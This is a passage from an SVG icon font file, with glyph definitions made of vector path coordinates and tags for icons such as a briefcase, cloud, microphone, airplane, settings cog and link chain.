	c-110.813,62.608-162.758,18.032-204.445-17.808c-9.475-8.131-10.707-22.579-2.733-32.234s 22.086-10.909, 31.562-2.778
	C 98.358,46.432, 129.27,72.976, 213.158,25.6c 40.298-22.781, 72.8-31.36, 99.859-31.36c 47.376,0, 78.064,26.365, 104.608,49.168
	c 9.475,8.109, 10.707,22.557, 2.733,32.211S 398.25,86.55, 388.774,78.397z" data-tags="air, waves" />
<glyph unicode="&#xe3e1;" d="M 203.84,137.555L 244.16,137.555 l0-44.8 L 448,92.755 c0,0-3.315,99.859-4.48,131.13c-1.098,29.702-11.715,48.070-44.8,48.070l-71.859,0 
	c-11.133,20.989-23.117,43.568-26.79,50.512c-7.414,13.978-9.946,16.688-26.432,16.688L 174.362,339.155 c-16.486,0-19.018-2.71-26.432-16.688
	C 144.256,315.523, 132.272,292.944, 121.139,271.955L 49.28,271.955 c-33.085,0-43.568-18.368-44.8-48.070S0,92.755,0,92.755l 203.84,0 L 203.84,137.555 z M 171.36,296.259
	c 5.13,9.677, 6.899,11.558, 18.278,11.558l 68.701,0 c 11.424,0, 13.171-1.882, 18.278-11.558c 1.926-3.629, 7.123-13.44, 12.902-24.282L 158.48,271.978 
	C 164.237,282.797, 169.434,292.608, 171.36,296.259z M 244.16,25.555L 203.84,25.555 l0,44.8 L 11.2,70.355 c0,0, 2.8-40.275, 4.48-74.413c 0.694-14.179, 4.861-37.587, 40.298-37.587
	l 336.045,0 c 35.437,0, 39.514,23.43, 40.298,37.587c 1.949,35.101, 4.48,74.413, 4.48,74.413l-192.64,0 L 244.16,25.555 z" data-tags="briefcase, work, portfolio" />
<glyph unicode="&#xe3e2;" d="M 224,366.080c-113.814,0-206.080-92.266-206.080-206.080s 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080S 337.814,366.080, 224,366.080z M 224,92.8c-37.117,0-67.2,30.106-67.2,67.2
	c0,37.117, 30.083,67.2, 67.2,67.2c 37.094,0, 67.2-30.106, 67.2-67.2C 291.2,122.906, 261.094,92.8, 224,92.8z" data-tags="cd, compact, disk, store, write, save" />
<glyph unicode="&#xe3e3;" d="M 228.547,371.434c-0.582,4.794-8.512,4.794-9.094,0C 199.674,212.214, 98.56,179.398, 98.56,68.742c0-68.342, 57.411-123.76, 125.44-123.76
	c 68.029,0, 125.44,55.44, 125.44,123.76C 349.44,179.398, 248.326,212.214, 228.547,371.434z M 209.462,195.437c-1.344-4.906-2.755-9.968-4.211-15.165
	c-8.982-31.898-19.174-68.074-19.174-109.894c0-22.669-13.395-30.71-25.917-30.71c-14.291,0-25.894,11.67-25.894,26.118
	c0,49.437, 23.811,81.715, 44.822,110.208c 6.586,8.915, 12.79,17.338, 17.853,25.76c 2.307,3.83, 8.534,3.674, 11.357-0.134
	C 209.574,199.782, 210.022,197.542, 209.462,195.437z" data-tags="droplet, water, color" />
<glyph unicode="&#xe3e4;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
	c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429c0-43.747, 36.288-79.206, 81.021-79.206
	l 259.75,0 c 59.248,0, 107.229,46.95, 107.229,104.832C 448,165.936, 399.997,212.886, 340.771,212.886z M 254.733,116.32c-11.088-15.77-58.576-64.714-60.592-66.774
	c-2.33-2.867-8.758-7.683-14.851-3.718c-1.747,1.142-3.853,3.427-3.853,7.93c0,4.323, 1.971,8.736, 2.218,9.229l 23.139,51.206
	c-4.346,1.725-11.805,4.749-17.606,7.28L 181.642,122.144c-5.869,2.464-13.171,5.578-13.171,13.619c0,3.83, 1.837,8.31, 5.578,13.642
	c 11.088,15.77, 58.576,64.691, 60.592,66.774c 2.33,2.867, 8.736,7.683, 14.851,3.741c 1.747-1.142, 3.853-3.427, 3.853-7.93
	c0-4.323-1.971-8.736-2.218-9.229l-23.139-51.206c 4.346-1.747, 11.805-4.771, 17.606-7.28l 1.523-0.65c 5.869-2.486, 13.171-5.6, 13.171-13.642
	C 260.31,126.109, 258.474,121.651, 254.733,116.32z" data-tags="thunder, cloud, weather, lightning" />
<glyph unicode="&#xe3e5;" d="M 152.387-41.578c-4.323,2.845, 70.65,160.384, 68.051,167.306c-2.576,6.922-82.074,32.189-85.971,44.352
		c-3.875,12.163, 156.979,195.014, 161.19,191.475c 4.211-3.517-70.090-162.131-68.051-167.283s 83.53-31.494, 85.971-44.33
		C 316.019,137.062, 156.71-44.4, 152.387-41.578z" data-tags="bolt, thunder, lightning" />
<glyph unicode="&#xe3e6;" d="M 380.8,316.8l-20.16,0 l0-44.8 L 288.96,272 L 288.96,316.8 L 159.040,316.8 l0-44.8 L 87.36,272 L 87.36,316.8 L 67.2,316.8 C 42.56,316.8, 22.4,296.64, 22.4,272l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 313.6,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 425.6,272 C 425.6,296.64, 405.44,316.8, 380.8,316.8z M 380.8,3.2L 67.2,3.2 
		L 67.2,182.4 l 313.6,0 L 380.8,3.2 z M 138.88,361.6L 107.52,361.6 l0-76.16 l 31.36,0 L 138.88,361.6 z M 340.48,361.6l-31.36,0 l0-76.16 l 31.36,0 L 340.48,361.6 z" data-tags="calendar, date, schedule, time" />
<glyph unicode="&#xe3e7;" d="M 358.4,221.757l-13.44,0 c-4.95,0-8.96-4.032-8.96-8.96L 336,151.040 c0-29.949-23.587-80.64-112-80.64s-112,50.691-112,80.64L 112,212.797 c0,4.928-4.054,8.96-8.96,8.96L 89.6,221.757 
			c-4.928,0-8.96-4.032-8.96-8.96L 80.64,151.040 c0-50.109, 36.826-103.712, 120.96-111.104L 201.6-19.2 L 143.338-19.2 C 138.432-19.2, 134.4-23.232, 134.4-28.16L 134.4-55.040 C 134.4-59.968, 138.432-64, 143.338-64l 161.28,0 
			c 4.95,0, 8.96,4.032, 8.96,8.96L 313.578-28.16 c0,4.95-4.032,8.96-8.96,8.96L 246.4-19.2 l0,59.136 c 84.157,7.392, 120.96,61.018, 120.96,111.104L 367.36,212.797 
			C 367.36,217.725, 363.328,221.757, 358.4,221.757zM 224,115.2c 52.573,0, 67.2,21.594, 67.2,35.84L 291.2,221.757 L 156.8,221.757 L 156.8,151.040 C 156.8,136.794, 171.427,115.2, 224,115.2zM 291.2,348.16C 291.2,362.429, 276.573,384, 224,384S 156.8,362.429, 156.8,348.16l0-95.043 l 134.4,0 L 291.2,348.16 z" data-tags="microphone, voice, record" />
<glyph unicode="&#xe3e8;" d="M 224,366.080c-113.814,0-206.080-92.288-206.080-206.080c0-113.814, 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080C 430.080,273.814, 337.814,366.080, 224,366.080z M 224-1.28
			c-89.085,0-161.28,72.218-161.28,161.28S 134.915,321.28, 224,321.28s 161.28-72.218, 161.28-161.28S 313.085-1.28, 224-1.28zM 239.68,276.48L 208.32,276.48L 208.32,153.504L 284.592,77.232L 306.768,99.408L 239.68,166.496 		z" data-tags="clock, time, history" />
<glyph unicode="&#xe3e9;" d="M 224,285.44C 77.034,285.44,0,177.181,0,160s 77.034-125.44, 224-125.44s 224,108.259, 224,125.44S 370.966,285.44, 224,285.44z M 224,63.501
		c-54.97,0-99.546,43.21-99.546,96.499S 169.030,256.499, 224,256.499c 54.992,0, 99.568-43.21, 99.568-96.499S 278.992,63.501, 224,63.501z M 224,160
		c-9.094,9.99, 14.874,48.227,0,48.227c-27.485,0-49.773-21.594-49.773-48.227S 196.515,111.75, 224,111.75c 27.507,0, 49.795,21.616, 49.795,48.25
		C 273.795,172.23, 231.773,151.488, 224,160z" data-tags="eye, views" />
<glyph unicode="&#xe3ea;" d="M 221.245,366.058c-113.792-1.523-204.826-94.998-203.302-208.813c 1.523-113.837, 95.021-204.826, 208.813-203.325
		c 113.814,1.523, 204.848,95.021, 203.302,208.813C 428.534,276.57, 335.037,367.581, 221.245,366.058z M 221.626,339.2c 30.688,0.426, 59.674-6.944, 85.12-20.182
		l-27.731-46.234C 262.394,280.87, 243.734,285.44, 224,285.44c-19.712,0-38.371-4.57-54.992-12.678L 141.299,318.973C 165.357,331.517, 192.64,338.797, 221.626,339.2z
		 M 111.238,105.008l-46.189-27.686c-12.544,24.035-19.824,51.318-20.205,80.282c-0.426,30.71, 6.944,59.696, 20.182,85.12l 46.211-27.754
		C 103.13,198.371, 98.56,179.734, 98.56,160C 98.56,140.288, 103.13,121.629, 111.238,105.008z M 226.397-19.178c-30.688-0.426-59.696,6.944-85.12,20.182l 27.731,46.234
		C 185.629,39.13, 204.288,34.56, 224,34.56c 19.734,0, 38.394,4.547, 54.992,12.656l 27.709-46.189C 282.643-11.494, 255.382-18.774, 226.397-19.178z
		 M 224,61.462c-54.432,0-98.538,44.128-98.538,98.538c0,54.432, 44.128,98.56, 98.538,98.56c 54.454,0, 98.56-44.128, 98.56-98.56
		C 322.56,105.568, 278.454,61.462, 224,61.462z M 336.762,105.008c 8.109,16.621, 12.678,35.28, 12.678,54.992c0,19.734-4.57,38.371-12.678,54.992
		l 46.189,27.731c 12.544-24.058, 19.846-51.318, 20.227-80.304c 0.403-30.71-6.966-59.696-20.205-85.12L 336.762,105.008z" data-tags="lifebuoy, support, help" />
<glyph unicode="&#xe3eb;" d="M 119.84-61.312l 44.8,0 l 100.531,179.222L 380.8,117.91 c0,0, 67.2,0, 67.2,31.338c0,31.36-67.2,31.36-67.2,31.36l-115.629,0 l-100.531,179.2l-44.8,0 l 55.731-179.2L 95.222,180.608 L 44.8,225.43L0,225.43 l 35.862-76.16
		L0,73.088l 44.8,0 l 50.422,44.822l 80.349,0 L 119.84-61.312z" data-tags="airplane, plane, flight, fly, travel" />
<glyph unicode="&#xe3ec;" d="M 405.933,301.859c-6.63,5.734-42.694,33.040-49.437,38.842S 339.226,348.16, 331.789,348.16L 116.211,348.16 c-7.414,0-17.965-1.635-24.685-7.459
		c-6.742-5.824-42.806-33.13-49.437-38.842S 29.926,287.501, 31.696,275.181c 1.77-12.32, 43.389-290.595, 43.389-290.595
		C 77.414-22.426, 85.389-28.16, 92.826-28.16l 262.371,0 c 7.437,0, 15.411,5.757, 17.741,12.746c0,0, 41.597,278.275, 43.389,290.595
		C 418.074,287.501, 412.563,296.125, 405.933,301.859z M 224,106.957c-72.755,0-88.323,102.973-91.549,124.186L 173.6,231.142 c 6.205-30.957, 20.294-83.866, 50.4-83.866
		s 44.218,52.909, 50.422,83.866l 41.126,0 C 312.323,209.93, 296.755,106.957, 224,106.957z M 66.371,272l 49.414,51.52l 216.429,0 L 381.629,272L 66.371,272 z" data-tags="bag, shop, cart, ecommerce, buy, purchase" />
<glyph unicode="&#xe3ed;" d="M 358.4,361.6L 89.6,361.6 C 64.96,361.6, 44.8,341.44, 44.8,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 403.2,316.8 C 403.2,341.44, 383.062,361.6, 358.4,361.6z M 358.4,3.2L 89.6,3.2 L 89.6,316.8 l 268.8,0 L 358.4,3.2 z M 246.4,115.2L 134.4,115.2 l0-22.4 l 112,0 
	L 246.4,115.2 z M 313.6,204.8l-89.6,0 l0-22.4 l 89.6,0 L 313.6,204.8 z M 224,227.2l 89.6,0 L 313.6,272 l-89.6,0 L 224,227.2 z M 201.6,272L 134.4,272 l0-89.6 l 67.2,0 L 201.6,272 z M 179.2,160L 134.4,160 l0-22.4 l 44.8,0 L 179.2,160 z M 201.6,137.6l 112,0 l0,22.4 L 201.6,160 L 201.6,137.6 z M 313.6,70.4L 134.4,70.4 l0-22.4 l 179.2,0 L 313.6,70.4 z M 268.8,92.8l 44.8,0 l0,22.4 l-44.8,0 L 268.8,92.8 z" data-tags="newspaper, document, file" />
<glyph unicode="&#xe3ee;" d="M 372.915,268.797L 171.36,372.71C 143.741,387.248, 89.309,359.158, 73.674,334.429C 66.707,323.363, 67.2,315.389, 67.2,310.864l 2.486-234.64
	c 0.157-4.995, 6.451-11.693, 11.805-15.008c 11.178-6.854, 180.544-112.56, 185.315-115.562c 2.576-1.613, 5.645-2.352, 8.646-2.352
	c 2.554,0, 5.13,0.56, 7.459,1.725C 288.019-52.464, 291.2-47.626, 291.2-42.317L 291.2,204.106 c0,5.13-3.002,9.856-7.885,12.432L 100.128,318.816
	C 102.189,322.848, 110.342,331.36, 125.328,339.2C 141.12,347.488, 152.925,344.352, 155.635,343.299c0,0, 175.84-94.102, 181.216-96.902c 5.354-2.8, 5.466-3.226, 5.466-7.997
	c0-4.794,0-233.856,0-233.856c0-11.67, 11.827-16.442, 20.541-16.442c 8.669,0, 17.942,8.512, 17.942,16.442L 380.8,256.365 
	C 380.8,261.494, 377.776,266.243, 372.915,268.797z" data-tags="book, reading" />
<glyph unicode="&#xe3ef;" d="M 73.965,109.869c 10.394-42.134, 23.61-60.502, 67.693-79.789C 185.763,10.816, 206.707-10.24, 224-10.24s 36.893,18.413, 80.998,37.722
	c 44.106,19.242, 32.346,25.155, 42.739,67.245L 224,34.56L 73.965,109.869z M 437.046,219.674l-186.48,104.429c-14.605,8.176-38.506,8.176-53.11,0
	L 10.954,219.674c-14.605-8.176-14.605-21.571,0-29.747l 186.48-104.429c 14.605-8.176, 38.506-8.176, 53.11,0l 120.557,67.514l-130.726,30.621
	C 235.357,182.378, 229.824,181.683, 224,181.683c-23.542,0-42.627,11.357-42.627,25.357S 200.458,232.419, 224,232.419c 18.278,0, 33.846-6.877, 39.894-16.486
	l 138.454-45.427l 34.698,19.421C 451.651,198.102, 451.651,211.498, 437.046,219.674z M 380.061,21.747c-1.411-8.579, 28.739-22.758, 31.606,2.442
	c 12.97,113.59-9.318,146.294-9.318,146.294l-31.248-17.494C 371.101,153.011, 397.6,127.789, 380.061,21.747z" data-tags="graduation, cap, hat" />
<glyph unicode="&#xe3f0;" d="M 418.656,107.45l-38.685,34.496c-11.2,9.99-11.2,26.298,0,36.288l 38.685,34.474c 11.2,9.99, 8.198,19.286-6.653,20.698l-51.274,4.861
	c-14.851,1.411-22.848,14.179-17.741,28.381l 27.216,75.757c 5.107,14.202-1.142,19.376-13.866,11.491l-60.502-37.408
	c-12.723-7.885-29.165-3.584-36.534,9.565l-21.93,39.11c-7.347,13.149-19.533,13.216-27.037,0.157L 189.974,329.882
	C 182.47,316.822, 165.222,311.245, 151.648,317.494l-35.84,16.464C 102.211,340.186, 91.773,332.973, 92.579,317.875L 94.528,281.699
	c 0.806-15.075-10.326-30.621-24.73-34.496L 35.19,237.907C 20.787,234.010, 18.144,222.675, 29.344,212.685l 38.685-34.474c 11.2-9.968, 11.2-26.298,0-36.266
	L 29.344,107.494c-11.2-10.013-8.243-19.645, 6.563-21.437l 46.928-5.69c 14.806-1.837, 23.072-15.053, 18.346-29.366l-24.080-72.979
	c-4.726-14.358, 2.016-19.958, 14.963-12.432l 55.171,31.898c 12.97,7.526, 30.374,3.36, 38.707-9.139l 22.915-34.429
	c 8.31-12.566, 20.832-11.85, 27.754,1.523l 20.138,38.797c 6.966,13.395, 23.587,18.861, 36.938,12.163l 38.842-19.421
	c 13.395-6.698, 23.677,0.179, 22.87,15.277l-1.949,36.176c-0.806,15.098, 10.326,30.621, 24.73,34.518l 34.586,9.274
	C 427.213,86.147, 429.856,97.482, 418.656,107.45z M 246.4,66.032L 201.6,66.032 l0,47.040 l 44.8,0 L 246.4,66.032 z M 246.4,137.69L 201.6,137.69 l0,116.48 l 44.8,0 L 246.4,137.69 z" data-tags="new, exclamation, notification" />
<glyph unicode="&#xe3f1;" d="M 136.864,322.87l0-265.821c-14.47,3.024-31.315,1.882-48.026-4.301c-37.565-13.955-50.826-47.936-40.858-75.846
	c 9.946-27.933, 39.357-39.222, 76.922-25.267c 31.898,11.85, 52.797,38.102, 52.259,62.877c0,0,0,140.963,0,219.587l 159.062,36.445l0-168.672 
	c-14.47,3.024-31.315,1.882-48.026-4.301c-37.587-13.955-50.848-47.936-40.88-75.846c 9.968-27.933, 39.357-39.222, 76.944-25.267
	c 31.92,11.85, 52.774,38.102, 52.282,62.877L 376.544,374.368 L 136.864,322.87z" data-tags="music, note, song, audio" />
<glyph unicode="&#xe3f2;" d="M 264.298,357.142l-35.93,0 l0-292.813 c-19.869,7.661-45.584,7.773-70.941-1.456c-45.427-16.531-72.509-56.762-60.48-89.824
		c 12.051-33.085, 58.643-46.48, 104.070-29.949c 38.595,14.045, 63.84,45.181, 63.213,74.48l 0.067,239.456c 62.653-9.856, 66.931-89.085, 59.427-111.306
		c-2.867-8.422, 2.173-14.717, 11.648,0C 402.909,250.854, 264.298,297.2, 264.298,357.142z" data-tags="music, note, song, audio" />
<glyph unicode="&#xe3f3;" d="M 119.168,292.070C 33.555,242.387, 38.483,161.478, 41.44,131.552c 110.589,130.973, 275.99,124.611, 275.99,124.611S 82.947,175.77, 14.067,14.49
		c-5.421-12.768, 25.536-29.322, 32.592-14.269c 21.078,44.845, 50.467,78.49, 50.467,78.49c 43.366-16.15, 118.339-35.034, 171.517,2.352
		c 70.582,49.706, 63.37,159.846, 164.17,213.472C 456.355,307.078, 235.245,359.427, 119.168,292.070z" data-tags="leaf, nature, green, plant" />
<glyph unicode="&#xe3f4;" d="M 388.685,281.744c-69.53,46.234-147.594,62.205-240.173,35.683c-72.262-20.72-138.499-102.906-143.629-173.286
		c-6.070-83.216, 58.755-154.47, 172.883-154.358c 123.066,0.134, 169.12,59.226, 170.15,77.168c 1.008,17.965-48.026,51.162-16.464,85.299
		c 39.536,42.762, 74.726,6.317, 96.051,11.469C 448.829,168.826, 459.626,234.525, 388.685,281.744z M 245.907,73.021c-18.614,0-33.712,15.053-33.712,33.6
		c0,18.57, 15.098,33.6, 33.712,33.6s 33.69-15.030, 33.69-33.6C 279.574,88.074, 264.522,73.021, 245.907,73.021z" data-tags="palette, color, appearance" />
<glyph unicode="&#xe3f5;" d="M 274.848,109.152C 211.299,45.626, 115.046,34.829, 40.32,76.672c 8.624-15.366, 19.398-29.837, 32.48-42.918c 76.608-76.608, 200.816-76.608, 277.424,0
		c 76.608,76.63, 76.608,200.838,0,277.446c-13.082,13.082-27.53,23.856-42.918,32.48C 349.171,268.954, 338.352,172.701, 274.848,109.152z" data-tags="moon, night, dark, sleep" />
<glyph unicode="&#xe3f6;" d="M 385.795,226.55c-35.459,82.544-92.557,145.398-121.43,133.638c-49.034-19.936, 29.232-115.674-211.59-213.562
	c-20.81-8.445-26.074-42.291-17.36-62.518c 8.691-20.227, 37.139-40.365, 57.949-31.92c 3.584,1.456, 16.822,5.712, 16.822,5.712
	c 14.851-19.936, 30.397-8.109, 35.93-20.787c 6.63-15.232, 21.034-48.317, 25.917-59.562c 4.928-11.245, 16.038-21.683, 24.102-18.614
	c 8.019,3.069, 35.414,13.507, 45.898,17.472s 12.992,13.328, 9.789,20.698c-3.45,7.93-17.606,10.259-21.638,19.533
	c-4.054,9.274-17.248,38.954-21.034,48.317c-5.152,12.723, 5.802,23.072, 21.728,24.73c 109.626,11.424, 130.122-56.291, 167.44-41.104
	C 427.123,60.365, 421.254,144.006, 385.795,226.55z M 373.453,92.666c-6.406-2.598-49.549,31.405-77.123,95.581
	c-27.552,64.154-24.080,122.797-17.696,125.395c 6.406,2.621, 48.496-38.438, 76.070-102.592C 382.234,146.918, 379.859,95.264, 373.453,92.666z" data-tags="megaphone, advertise, announce, alert" />
<glyph unicode="&#xe3f7;" d="M 224,204.8c-37.094,0-67.2-30.106-67.2-67.2c0-37.117, 30.106-67.2, 67.2-67.2c 37.117,0, 67.2,30.083, 67.2,67.2C 291.2,174.694, 261.117,204.8, 224,204.8z M 403.2,272l-53.738,0 
		c-7.392,0-15.366,5.734-17.696,12.746l-13.888,41.686C 315.504,333.466, 307.552,339.2, 300.16,339.2L 147.84,339.2 C 140.448,339.2, 132.474,333.466, 130.166,326.454L 116.234,284.746
		C 113.904,277.734, 105.952,272, 98.56,272L 44.8,272 C 20.16,272,0,251.84,0,227.2l0-201.6 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 448,227.2 C 448,251.84, 427.862,272, 403.2,272z M 224,25.6
		c-61.869,0-112,50.131-112,112c0,61.846, 50.131,112, 112,112c 61.846,0, 112-50.154, 112-112C 336,75.731, 285.846,25.6, 224,25.6z M 387.52,195.885
		c-8.646,0-15.658,7.011-15.658,15.68s 7.011,15.68, 15.658,15.68c 8.669,0, 15.68-7.011, 15.68-15.68S 396.189,195.885, 387.52,195.885z" data-tags="camera, picture, photo, images" />
<glyph unicode="&#xe3f8;" d="M 432.118,374.906c-2.419,7.056-10.058,10.774-17.046,8.333s-10.662-10.17-8.221-17.248c 20.608-59.808-20.294-104.474-51.453-128.374
		l-12.611,18.234c-4.211,6.093-13.709,11.178-21.056,11.29l-70.672-0.336c-7.347,0.112-18.278-3.293-24.326-7.549l-208.23-147.571
		c-10.080-7.146-12.566-21.213-5.488-31.427l 94.662-136.797c 7.056-10.214, 18.413-8.982, 28.493-1.859l 208.23,147.594
		c 6.048,4.256, 12.925,13.53, 15.366,20.563l 22.131,70.47c 2.397,7.034, 0.941,17.786-3.27,23.878l-7.706,11.11
		C 412.787,247.584, 456.243,304.861, 432.118,374.906z M 335.238,165.331c-16.15-11.446-38.394-7.459-49.706,8.87
		c-11.29,16.33-7.37,38.842, 8.781,50.288c 12.813,9.094, 29.456,8.422, 41.44-0.403c-6.048-3.674-10.17-5.779-10.954-6.16
		c-6.675-3.181-9.542-11.245-6.384-18.010c 2.285-4.906, 7.078-7.795, 12.118-7.795c 1.904,0, 3.853,0.426, 5.69,1.299
		c 4.278,2.038, 8.915,4.525, 13.731,7.414C 352.106,187.552, 346.864,173.574, 335.238,165.331z" data-tags="tag, price" />
<glyph unicode="&#xe3f9;" d="M 250.454,62.47c0,32.502, 24.64,50.467, 64.826,77.078C 364.448,172.141, 425.6,212.685, 425.6,308.87c0,8.669-7.078,15.68-15.837,15.68l-76.854,0 
		C 322.045,344.621, 289.722,366.080, 224,366.080c-65.699,0-98.045-21.459-108.886-41.53L 38.259,324.55 C 29.501,324.55, 22.4,317.539, 22.4,308.87
		c0-96.186, 61.174-136.73, 110.342-169.299c 40.208-26.611, 64.848-44.576, 64.848-77.078l0-29.366 c-42.224-4.704-73.248-20.317-73.248-38.886
		c0-22.266, 44.621-40.32, 99.658-40.32c 55.059,0, 99.68,18.054, 99.68,40.32c0,18.57-31.024,34.182-73.248,38.886L 250.432,62.47 z M 312.637,175.68
		c 12.723,26.88, 22.781,63.325, 24.394,117.51l 56.202,0 C 387.878,232.733, 351.523,202.179, 312.637,175.68z M 224,338.618c 61.197,0.022, 85.12-24.998, 85.098-34.272
		c0-9.341-23.856-34.339-85.098-34.384C 162.803,270.029, 138.925,295.005, 138.925,304.346C 138.902,313.619, 162.803,338.662, 224,338.618z M 54.79,293.19l 56.179,0 
		C 112.605,239.005, 122.662,202.56, 135.363,175.68C 96.477,202.179, 60.144,232.733, 54.79,293.19z" data-tags="trophy, winner, cup" />
<glyph unicode="&#xe3fa;" d="M 70.202,229.664C 91.123,245.904, 108.461,234.726, 131.6,207.936C 134.221,204.934, 137.715,208.451, 139.686,210.176c 1.971,1.747, 32.525,29.21, 34.003,30.486
	C 175.19,241.984, 176.982,244.448, 174.608,247.203s-11.066,14-16.643,21.28c-40.499,52.976, 110.79,88.906, 87.539,89.466
	c-11.805,0.314-59.27,0.851-66.349,0.112C 150.416,355.014, 114.33,328.157, 96.163,315.658c-23.744-16.33-32.637-25.805-34.093-27.126
	c-6.72-5.891-1.075-19.421-13.261-30.106C 35.93,247.136, 27.91,255.67, 20.451,249.13c-3.718-3.27-14.045-10.998-17.024-13.619
	C 0.47,232.912-0.067,228.499, 2.957,224.96c0,0, 28.291-31.27, 30.688-34.026C 36.019,188.179, 42.403,185.85, 46.368,189.344
	c 3.965,3.472, 14.134,12.41, 15.859,13.933C 63.974,204.778, 61.107,222.608, 70.202,229.664z M 198.083,218.106c-2.688,3.114-6.003,3.181-8.893,0.627
	L 157.046,190.71c-2.509-2.24-2.845-6.362-0.582-8.96l 185.786-211.411c 4.323-5.018, 11.85-5.533, 16.845-1.187l 21.75,18.189
	c 4.95,4.346, 5.466,11.962, 1.142,16.957L 198.083,218.106z M 445.805,308.086c-1.658,11.066-7.392,8.736-10.371,4.032
	c-2.934-4.682-16.15-24.662-21.571-33.69c-5.376-9.005-18.592-26.678-43.322-9.229c-25.715,18.189-16.755,30.89-12.298,39.424
	c 4.502,8.579, 18.323,32.592, 20.339,35.616c 1.971,3.024-0.358,11.805-8.31,8.131c-7.997-3.696-56.515-22.982-63.258-50.624
	c-6.877-28.157, 5.779-53.29-19.040-78.266l-30.061-31.36l 30.195-35.123l 37.050,35.19c 8.848,8.87, 27.686,17.494, 44.755,13.619
	c 36.579-8.288, 56.515,5.466, 68.566,28.157C 449.277,254.282, 447.485,297.021, 445.805,308.086z M 61.376,2.058c-4.659-4.704-4.659-12.32,0-17.002
	l 21.302-20.832c 4.659-4.682, 12.051-2.71, 16.71,1.971l 109.917,108.080L 175.616,112.646L 61.376,2.058z" data-tags="tools, hammer, generate, fix, settings, wrench, build, factory" />
<glyph unicode="&#xe3fb;" d="M 375.984,160c0,23.475, 14.448,42, 36.176,54.723c-3.942,13.082-9.094,25.648-15.478,37.453c-24.416-6.384-44.15,3.181-60.726,19.757
		c-16.621,16.598-21.706,36.355-15.322,60.726c-11.805,6.384-24.326,11.603-37.453,15.501C 270.458,326.41, 247.453,311.962, 224,311.962
		c-23.453,0-46.435,14.448-59.181,36.198C 151.693,344.262, 139.171,339.043, 127.366,332.682C 133.728,308.288, 128.666,288.531, 112.067,271.933
		C 95.469,255.357, 75.712,245.792, 51.341,252.154C 44.957,240.371, 39.76,227.805, 35.84,214.723C 57.59,202, 72.038,183.475, 72.038,160
		c0-23.453-14.448-46.458-36.198-59.203c 3.92-13.104, 9.117-25.648, 15.501-37.453c 24.394,6.384, 44.128,1.299, 60.726-15.299
		c 16.598-16.598, 21.661-36.333, 15.299-60.726c 11.805-6.384, 24.349-11.603, 37.453-15.501c 12.746,21.773, 35.728,36.198, 59.181,36.198
		c 23.453,0, 46.48-14.448, 59.203-36.198c 13.126,3.92, 25.648,9.117, 37.453,15.501c-6.384,24.394-1.322,44.128, 15.322,60.726
		c 16.576,16.576, 36.31,26.141, 60.726,19.779c 6.384,11.805, 11.558,24.349, 15.478,37.453C 390.432,118.022, 375.984,136.547, 375.984,160z M 224,78.173
		c-45.181,0-81.805,36.646-81.805,81.827S 178.819,241.827, 224,241.827c 45.203,0, 81.827-36.646, 81.827-81.827S 269.203,78.173, 224,78.173z" data-tags="cog, settings, preferences, options" />
<glyph unicode="&#xe3fc;" d="M 414.086,279.168C 158.547,176.867, 262.058,452.208, 63.862,307.258L 22.4,292.384L 104.518-30.4l 45.226,0 L 109.536,127.699
		c 176.826,148.243, 105.235-161.526, 314.406,142.397C 428.803,277.152, 422.307,282.461, 414.086,279.168z" data-tags="flag, report" />
<glyph unicode="&#xe3fd;" d="M 176.042,54.854l-18.144-18.010c-15.725-15.568-41.283-15.59-56.986,0c-7.549,7.504-11.693,17.427-11.693,28.022
		s 4.166,20.541, 11.693,28.045l 66.752,66.237c 13.821,13.731, 39.85,33.914, 58.822,15.098c 8.714-8.646, 22.781-8.579, 31.405,0.112
		c 8.646,8.691, 8.602,22.758-0.112,31.405c-32.234,31.987-79.901,26.074-121.408-15.098l-66.752-66.237C 53.626,108.525, 44.8,87.379, 44.8,64.867
		c0-22.49, 8.826-43.635, 24.842-59.539C 86.128-11.046, 107.766-19.2, 129.405-19.2s 43.322,8.154, 59.808,24.528l 18.144,18.032
		c 8.714,8.646, 8.758,22.714, 0.112,31.382C 198.822,63.434, 184.755,63.478, 176.042,54.854z M 378.358,312.118
		c-34.63,34.362-83.037,36.221-115.114,4.413l-22.602-22.422c-8.714-8.646-8.781-22.691-0.134-31.405c 8.669-8.714, 22.714-8.758, 31.405-0.112
		l 22.602,22.422c 16.598,16.486, 38.349,9.654, 52.55-4.413c 7.549-7.482, 11.693-17.45, 11.693-28.022c0-10.595-4.166-20.541-11.693-28.022
		l-71.232-70.65c-32.547-32.301-47.846-17.158-54.365-10.685c-8.714,8.646-22.758,8.579-31.382-0.112c-8.646-8.714-8.602-22.781, 0.112-31.405
		c 14.941-14.829, 32.032-22.176, 49.907-22.176c 21.907,0, 45.046,11.021, 67.043,32.861l 71.21,70.65C 394.374,208.922, 403.2,230.067, 403.2,252.557
		S 394.374,296.214, 378.358,312.118z" data-tags="link, anchor, chain" />
<glyph unicode="&#xe3fe;" d="M 328.16,193.309c-51.072,109.917-77.616,151.67-161.078,149.923c-29.725-0.605-22.579,21.526-45.248,13.126
		C 99.187,347.981, 118.63,335.683, 95.446,316.666c-65.005-53.357-59.024-102.726-28.874-220.416c 12.723-49.549-30.621-51.99-13.485-100.038
		c 12.522-35.011, 104.81-49.706, 202.182-13.552c 97.373,36.109, 158.816,107.811, 146.294,142.867C 384.429,173.552, 349.686,147.030, 328.16,193.309z M 244.698,12.25
		c-86.934-32.256-158.413-13.283-161.437-4.861c-5.197,14.538, 28.067,63.078, 127.478,99.971c 99.411,36.893, 154.896,23.206, 160.698,6.966
		C 374.864,104.739, 331.677,44.528, 244.698,12.25z M 216.765,90.515c-45.472-16.867-77.056-36.154-97.507-53.536
		c 14.403-13.082, 41.35-16.262, 68.23-6.294c 34.205,12.701, 55.216,41.843, 46.906,65.072c-0.090,0.291-0.246,0.538-0.358,0.806
